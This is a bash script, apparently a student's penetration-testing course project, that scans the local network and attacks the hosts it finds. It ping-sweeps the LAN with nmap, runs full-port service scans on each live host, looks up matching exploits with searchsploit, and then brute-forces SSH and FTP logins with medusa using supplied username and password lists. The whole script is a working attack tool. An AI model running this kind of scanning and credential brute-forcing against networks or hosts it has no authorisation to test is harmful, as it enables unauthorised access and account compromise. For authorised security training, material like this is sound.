#!/bin/bash

#project vulner ( batch 090423 ) Trainer - Kar Wei

#student - Gan lai soon

#1)Map Network Devices and Open Ports

#check our own ip address

ip\_address=$(hostname -I)

echo "My machine IP address is: $ip\_address"

#1.1 Automatically identify the LAN network range

#Extract the base of the IP (e.g., 192.168.2.)

ip\_base=$(echo $ip\_address | cut -d. -f1-3) #this is to isolate the first 3 octet of my kali linux machine ip address

#Create CIDR notation for the network

cidr="${ip\_base}.0/24" # to add .0/24 to the the 3 octet of my kali IP address that is isolated

#Convert the CIDR notation to a range using netmask

network\_range=$(netmask -r $cidr )

echo "The LAN network range for $ip\_address is: $network\_range"

#1.2 Automatically scan the current LAN

IP\_AND\_MASK=$(ip -o -f inet addr show | awk '/scope global/ {print $4}')

nmap -sn $IP\_AND\_MASK

#1.3 Enumerate each live host

#Extract IPs of the hosts that are up

active\_ips=$(nmap -sn $IP\_AND\_MASK | grep 'Nmap scan report for' | awk '{print $NF}' | tr -d '()')

#Scan each IP with service/version detection and all ports

for ip in $active\_ips; do

echo "Scanning $ip for open ports and services..."

nmap -sV -p- $ip

done

#1.4 Scanning for potential Vulnerabilities

for ip in $active\_ips; do

echo "Fetching vulnerabilities for $ip..."

# Scan each IP with service/version detection and store the result in a file

nmap\_output\_file="nmapoutput$ip.txt"

nmap -sV $ip > $nmap\_output\_file

# Extract version info and search for exploits

cat $nmap\_output\_file | grep '/' | awk '{print $3, $4, $5, $6, $7, $8, $9}' | while read line; do

echo "Searching for exploits for: $line"

searchsploit "$line"

done

done

# 2.1 Allow the user to specify a user list

read -p "Enter the path to the user list (one username per line): " USER\_LIST

# 2.2 Allow the user to specify a password list

read -p "Enter the path to the password list: " PASSWORD\_LIST

# 2.3 Allow the user to create a password list

read -p "Do you want to create a password list? (y/n): " CREATE\_PASSWORD\_LIST

if [ "$CREATE\_PASSWORD\_LIST" == "y" ]; then

echo "Enter passwords (one password per line). When finished, press Ctrl+D:"

cat > custom\_password\_list.txt

PASSWORD\_LIST="custom\_password\_list.txt"

fi

# 2.4 If a login service is available, Brute Force with the password list

#to check for login services specified to port 20 and 21 and tcp protocol with respect to all the live hosts ip addresses

for IP in $active\_ips; do

LOGIN\_SERVICE=$(nmap -p 22,21 $IP | grep -E "22/tcp|21/tcp" | head -n 1 | awk '{print $2}')

if [ "$LOGIN\_SERVICE" == "open" ]; then

echo "Brute-forcing SSH on $IP..."

medusa -U $USER\_LIST -P $PASSWORD\_LIST -h $IP -M ssh -t 6

echo "Brute-forcing FTP on $IP..."

medusa -U $USER\_LIST -P $PASSWORD\_LIST -h $IP -M ftp -t 6

else

echo "No login service available on $IP."

fi

done

#Capture the start time

start\_time=$(date +%s)

#Extract IPs of the hosts that are up

active\_ips=$(nmap -sn $IP\_AND\_MASK | grep 'Nmap scan report for' | awk '{print $NF}' | tr -d '()')

#Number of found devices

num\_devices=$(echo "$active\_ips" | wc -l)

#Begin writing to the report

echo "Nmap Scan Report" > nmap\_report.txt

echo "Scan started at: $(date)" >> nmap\_report.txt

#Scan each IP with service/version detection and all ports

for ip in $active\_ips; do

echo "Scanning $ip for open ports and services..." | tee -a nmap\_report.txt

nmap -sV -p- $ip >> nmap\_report.txt # Note the adjusted flags

done

#3results

#Capture the end time

end\_time=$(date +%s)

#Calculate duration

duration=$((end\_time - start\_time))

#Print general statistics

#using the tee command to both display the output of the following command as well as saved it in a file

echo "Scan completed at: $(date)" | tee -a nmap\_report.txt

echo "Duration: $duration seconds" | tee -a nmap\_report.txt

echo "Number of devices found: $num\_devices" | tee -a nmap\_report.txt

#Allow the user to enter an IP address and display relevant findings

read -p "Enter an IP address to see relevant findings: " user\_ip

#Display findings for the entered IP

cat "nmapoutput$user\_ip.txt" | grep -v "Usage: nmap"